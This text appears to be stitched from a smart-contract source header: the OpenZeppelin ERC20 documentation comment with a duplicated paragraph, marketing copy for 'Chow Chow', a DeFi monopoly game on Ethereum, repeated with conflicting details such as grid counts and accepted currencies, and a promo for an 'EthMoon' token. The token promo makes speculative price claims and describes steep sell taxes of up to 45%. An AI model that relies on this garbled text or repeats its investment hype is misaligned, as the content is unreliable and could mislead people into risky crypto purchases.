/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.

*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}

Introducing Chow Chow, the first monopoly DeFi light game on Ethereum blockchain
Build your own house!
Use ETH and USDT to experience Chow Chow in the high-speed and fun of ETH. You’ve got a smarter and fun mining experience ready to enjoy!
What is Chow Chow?
Chow Chow is a monopoly game built on Ethereum blockchain (ETH). To participate in-game mining, players can spend ETH, USDT, USDT and other ETH tokens in the game to get a chance to roll the dice and build different types of buildings on different grids. In order to ensure the game has a good deflation and dividend model, once a house or shop is constructed and cannot pay taxes on time, it will be removed.
For more information, please refer to our whitepapaer.
Chow Chow Overview:
• Owning different land properties and housing levels, corresponding to different mining output.
• The total supply of CHOW is only 1 million, and on-chain transfer will permanently burn 5% of its transaction amount.
• A tax pool is built in game for holding, which dividends USDT, ETH for holders.
• As the circulation of tokens increases, the mining output speed/scale will be reduced accordingly.
• The building constructed will be forced to be removed when failure to pay taxes on time.
• 50% of game revenue is used to buy back secondary tokens.
How does it work?
Land properties
In Chow Chow, there are 36 grids in each map, players can choose passing by or stay on the grid. 32 grids are buildable or upgradeable buildings when the player stays, and 4 grids can be triggered by random events (buildings cannot be built on random event grids).
Housing (Normal) land: 22 squares
Shop (Rare) land: 6 squares
Bank (Epic) Land: 3 grids
Government (Legendary) land: 1 grid
Random events: 4 grids
Construction mechanism
According to the grid properties of different buildable houses in the game, there are four types of buildings, and the mining speed and taxes of each house type are different.
Housing (Normal) land: general mining, less tax.
Shop (Rare) land: faster mining and higher taxes.
Bank (Epic) Land: Super fast mining and taxes are extremely high.
Government (Legendary) land: Mining is faster and taxes are less.
Tax Pool (Dividends)
The game will establish a tax pool system. All taxes paid by players will be included in the tax pool. The tokens in the tax pool will be reallocated according to the number of CHOW holding addresses. When a user holds more CHOW, the more tax dividends will be received in the pool.
For example, there are currently 100 USDT in the tax pool and 10,000 CHOW in circulation. If the player holds 1,000 CHOW, the player will receive 10 USDT.
Random Events Grid
There are 5 kinds of random events in total, and each event has a probability of 20%.
Random upgrade: houses will be randomly upgraded by 1 level;
Random downgrade: houses will be randomly downgraded by 1 level;
Designated remote upgrade: If the player designate a house, the player can pay ETH or CHOW to upgrade the house;
Lady Luck: Get a free roll;
God of Wealth: Give a certain amount of ETH or CHOW to the player.
Housing upgrade
House upgrade: If the player builds a house on this grid and stays on the grid again, the player can pay ETH, USDT, USDT to upgrade the house, the upper limit of upgrade is Lv2; if the player use CHOW to upgrade the house, the upper limit of upgrade is Lv3;
Game dice
There are three types of dice in Chow Chow.
Mining and output reduction
Constructive mining is the main way to obtain CHOW tokens through participation in the game, and the corresponding CHOW output can be obtained through house construction.
Who we are?
All the founding members of Chow Chow have worked in Tencent Interactive Entertainment (IEG), and have been involved in product planning and front-end operations in first-line online games.
Audit completed and official website is online, Chow Chow is moving to the next stop
The game will establish a tax pool system. All taxes paid by players will be included in the tax pool. The tokens in the tax pool will be reallocated according to the number of CHOW holding addresses. When a user holds more CHOW, the more tax dividends will be received in the pool.
For example, there are currently 100 USDC in the tax pool and 10,000 CHOW in circulation. If the player holds 1,000 CHOW, the player will receive 10 USDC.
2.5 Housing upgrade (Advanced Consumption)
House upgrade: If the player builds a house on this grid and stays on the grid again, the player can pay ETH, USDC, USDT to upgrade the house, the upper limit of upgrade is Lv2; if the player use CHOW to upgrade the house, the upper limit of upgrade is Lv3;
Paid remote upgrade: If the player stays on the random event grid after rolling the dice, there is a probability that the player will get a opportunity to upgrade the designated house remotely. The player needs to pay ETH, USDC, USDT or CHOW to proceed, respectively, the upper limit of upgrade is Lv2 and Lv3;
2.6 Map range
There will be 34 grids, of which 30 grids are buildable, and 4 grids can be triggered random events after a new ETH address authorizes contract to create the map;
Note: When the 30 grids on the map are full, the player can choose to upgrade after passing each construction plot;
2.7 Random events grid(Lottery)
There are 5 kinds of random events in total, and each event has a probability of 20%.
• Random upgrade: houses that have been built will be randomly upgraded by 1 level;
• Random downgrade: houses that have been built will be randomly downgraded by 1 level;
• Designated remote upgrade: If the player designate a house, the player can pay ETH or CHOW to upgrade the house;
• Lady Luck: Get a free roll;
• God of Wealth: Give a certain amount of ETH or CHOW to the player.

/**
💎 EthMoon, A new path forward 💎
🚀Uniswap/Fair launch 🌔
Let me tell you why this could possibly reach more than $10M marketcap:
🔥Start with a fair launch, we will make this project grows organically, not a quick pump and dump
🔥No bots at launch - fair chance for everyone and none can mess with this project
🔥Buyback mechanism will constantly increase the price floor
🔥Dumping prevention - more information below
🔥Cool website, active and experienced team
📌 Tax structure
- 6% will be used for buyback to push the price floor
- 3% will be distributed to our marketing wallet
- 2% will be rewarded to all holders
📌 Dump prevention mechanism
- 1% price impact sell: 30% tax
- 2.5 price impact sell: 40% tax
- 3% price impact sell: 45% tax
(extra tax will be distributed to buyback wallet)
